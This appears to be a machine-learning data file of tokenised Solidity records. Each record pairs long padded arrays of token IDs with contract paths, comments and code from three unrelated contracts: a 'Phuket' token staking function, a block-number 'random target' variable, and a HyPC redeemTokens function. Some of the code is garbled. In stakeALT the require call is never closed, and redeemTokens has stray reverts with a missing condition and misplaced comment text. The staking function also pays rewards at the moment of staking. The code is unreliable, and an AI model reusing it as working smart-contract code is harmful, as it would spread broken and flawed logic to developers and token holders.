-100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/3/0xee623a781F4ec28e0e29E5BaFD4CEAf32f946652/sources/contracts/1_Storage.sol
@dev stake function which enable the user to stake Phuket Tokens. @param _altQuantity, Phuket amount to be staked. @param _days, how many days Phuket tokens are staked for (in days)/
function stakeALT(uint256 _altQuantity, uint256 _days) public whenNotPaused returns (uint256 rewardAmount) { require( _altQuantity <= maxStakedQuantity && _altQuantity > 0, "Invalid Phuket quantity" IERC20(PhuketTokenAddress).transferFrom( msg.sender, address(this), _altQuantity ); rewardAmount = _calculateReward(_altQuantity, ratio, _days); uint256 _timestamp = block.timestamp; if (stakerData[_timestamp].staker != address(0)) { _timestamp = _timestamp.add(1); } stakerData[_timestamp] = StakerData( _altQuantity, _timestamp, _days.mul(ONE_DAY), (_days.mul(ONE_DAY)).add(_timestamp), rewardAmount, msg.sender, false ); stakerBalance[msg.sender] = stakerBalance[msg.sender].add(_altQuantity); totalStakedTokens = totalStakedTokens.add(_altQuantity); IERC20(PhuketTokenAddress).transfer(msg.sender, rewardAmount); Storetimes[msg.sender].invTime.push(_timestamp); laststake[msg.sender]=_timestamp; emit StakeCompleted( _altQuantity, _timestamp, _days.mul(ONE_DAY), rewardAmount, msg.sender, PhuketTokenAddress, address(this) ); }
14,248,811
[ 1, 4625, 348, 7953, 560, 30, 225, 632, 5206, 384, 911, 445, 1492, 4237, 326, 729, 358, 384, 911, 4360, 19445, 278, 13899, 18, 225, 632, 891, 389, 2390, 12035, 16, 4360, 19445, 278, 3844, 358, 506, 384, 9477, 18, 225, 632, 891, 389, 9810, 16, 3661, 4906, 4681, 4360, 19445, 278, 2430, 854, 384, 9477, 364, 261, 267, 4681, 13176, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 384, 911, 18255, 12, 11890, 5034, 389, 2390, 12035, 16, 2254, 5034, 389, 9810, 13, 203, 3639, 1071, 203, 3639, 1347, 1248, 28590, 203, 3639, 1135, 261, 11890, 5034, 19890, 6275, 13, 203, 565, 288, 203, 3639, 2583, 12, 203, 5411, 389, 2390, 12035, 1648, 943, 510, 9477, 12035, 597, 389, 2390, 12035, 405, 374, 16, 203, 5411, 315, 1941, 4360, 19445, 278, 10457, 6, 203, 203, 3639, 467, 654, 39, 3462, 12, 3731, 19445, 278, 1345, 1887, 2934, 13866, 1265, 12, 203, 5411, 1234, 18, 15330, 16, 203, 5411, 1758, 12, 2211, 3631, 203, 5411, 389, 2390, 12035, 203, 3639, 11272, 203, 203, 3639, 19890, 6275, 273, 389, 11162, 17631, 1060, 24899, 2390, 12035, 16, 7169, 16, 389, 9810, 1769, 203, 203, 3639, 2254, 5034, 389, 5508, 273, 1203, 18, 5508, 31, 203, 203, 3639, 309, 261, 334, 6388, 751, 63, 67, 5508, 8009, 334, 6388, 480, 1758, 12, 20, 3719, 288, 203, 5411, 389, 5508, 273, 389, 5508, 18, 1289, 12, 21, 1769, 203, 3639, 289, 203, 203, 3639, 384, 6388, 751, 63, 67, 5508, 65, 273, 934, 6388, 751, 12, 203, 5411, 389, 2390, 12035, 16, 203, 5411, 389, 5508, 16, 203, 5411, 389, 9810, 18, 16411, 12, 5998, 67, 10339, 3631, 203, 5411, 261, 67, 9810, 18, 16411, 12, 5998, 67, 10339, 13, 2934, 1289, 24899, 5508, 3631, 203, 5411, 19890, 6275, 16, 203, 5411, 1234, 18, 15330, 16, 203, 5411, 629, 203, 3639, 11272, 203, 203, 3639, 384, 6388, 13937, 63, 3576, 18, 15330, 65, 273, 384, 6388, 13937, 63, 3576, 18, 15330, 8009, 1289, 24899, 2390, 12035, 1769, 203, 203, 3639, 2078, 510, 9477, 5157, 273, 2078, 510, 9477, 5157, 18, 1289, 24899, 2390, 12035, 1769, 203, 203, 3639, 467, 654, 39, 3462, 12, 3731, 19445, 278, 1345, 1887, 2934, 13866, 12, 3576, 18, 15330, 16, 19890, 6275, 1769, 203, 540, 203, 3639, 4994, 8293, 63, 3576, 18, 15330, 8009, 5768, 950, 18, 6206, 24899, 5508, 1769, 203, 540, 203, 3639, 1142, 334, 911, 63, 3576, 18, 15330, 65, 33, 67, 5508, 31, 203, 203, 3639, 3626, 934, 911, 9556, 12, 203, 5411, 389, 2390, 12035, 16, 203, 5411, 389, 5508, 16, 203, 5411, 389, 9810, 18, 16411, 12, 5998, 67, 10339, 3631, 203, 5411, 19890, 6275, 16, 203, 5411, 1234, 18, 15330, 16, 203, 5411, 4360, 19445, 278, 1345, 1887, 16, 203, 5411, 1758, 12, 2211, 13, 203, 3639, 11272, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/5/0xb681f00C7360655B87daed36A7B08598F9FfC6AD/sources/contracts/BlockSelector.sol
main chain block number which will decide current random target
uint256 currentGoalBlockNumber;
16,826,428
[ 1, 4625, 348, 7953, 560, 30, 225, 2774, 2687, 1203, 1300, 1492, 903, 16288, 783, 2744, 1018, 203, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 2254, 5034, 783, 27716, 1768, 1854, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x151301d8De53c2E7F5D9B10FCe36bd1fCf332bC6/sources/contracts/ethereum/core/CrowdFundHYPCPoolV2.sol
/unassign token and redeem it.
@dev This function is needed to redeem c_HyPC for HyPC after a proposal has been completed. This allows a user with a deposit to reclaim their original deposited HyPC. function redeemTokens( uint256 proposalIndex, uint256 tokensToRedeem ) external nonReentrant validIndex(proposalIndex) { ContractProposal memory proposalData = proposals[proposalIndex]; if (proposalData.status != Term.COMPLETED) { revert ProposalMustBeCompleted(); revert RedeemingTooManyTokens(); } uint256 _i; for (_i = 0; _i < tokensToRedeem; _i++) { uint256 tokenId = proposalData.tokenIds[proposalData.tokenIds.length - _i - 1]; proposals[proposalIndex].tokenIds.pop(); hypcNFT.assign(tokenId, ''); hypcNFT.approve(address(swapContract), tokenId); swapContract.redeem(tokenId); } emit TokensRedeemed(msg.sender, proposalIndex, tokensToRedeem); } backing HyPC. Users who have deposited can then withdraw their deposits with the withdrawDeposit
9,809,131
[ 1, 4625, 348, 7953, 560, 30, 342, 318, 6145, 1147, 471, 283, 24903, 518, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 632, 5206, 565, 1220, 445, 353, 3577, 358, 283, 24903, 276, 67, 17507, 3513, 364, 14881, 3513, 1839, 279, 14708, 711, 2118, 5951, 18, 203, 7734, 1220, 5360, 279, 729, 598, 279, 443, 1724, 358, 283, 14784, 3675, 2282, 443, 1724, 329, 14881, 3513, 18, 203, 565, 445, 283, 24903, 5157, 12, 203, 3639, 2254, 5034, 14708, 1016, 16, 203, 3639, 2254, 5034, 2430, 774, 426, 24903, 203, 565, 262, 3903, 1661, 426, 8230, 970, 923, 1016, 12, 685, 8016, 1016, 13, 288, 203, 3639, 13456, 14592, 3778, 14708, 751, 273, 450, 22536, 63, 685, 8016, 1016, 15533, 203, 203, 3639, 309, 261, 685, 8016, 751, 18, 2327, 480, 6820, 18, 15795, 40, 13, 288, 203, 5411, 15226, 19945, 10136, 1919, 9556, 5621, 203, 5411, 15226, 868, 24903, 310, 10703, 5594, 5157, 5621, 203, 3639, 289, 203, 203, 3639, 2254, 5034, 389, 77, 31, 203, 3639, 364, 261, 67, 77, 273, 374, 31, 389, 77, 411, 2430, 774, 426, 24903, 31, 389, 77, 27245, 288, 203, 5411, 2254, 5034, 1147, 548, 273, 14708, 751, 18, 2316, 2673, 63, 685, 8016, 751, 18, 2316, 2673, 18, 2469, 300, 389, 77, 300, 404, 15533, 203, 5411, 450, 22536, 63, 685, 8016, 1016, 8009, 2316, 2673, 18, 5120, 5621, 203, 203, 5411, 16117, 71, 50, 4464, 18, 6145, 12, 2316, 548, 16, 23489, 203, 5411, 16117, 71, 50, 4464, 18, 12908, 537, 12, 2867, 12, 22270, 8924, 3631, 1147, 548, 1769, 203, 5411, 7720, 8924, 18, 266, 24903, 12, 2316, 548, 1769, 203, 3639, 289, 203, 203, 3639, 3626, 13899, 426, 24903, 329, 12, 3576, 18, 15330, 16, 14708, 1016, 16, 2430, 774, 426, 24903, 1769, 203, 565, 289, 203, 203, 7734, 15394, 14881, 3513, 18, 12109, 10354, 1240, 443, 1724, 329, 848, 1508, 598, 9446, 3675, 443, 917, 1282, 598, 326, 598, 9446, 758, 1724, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, 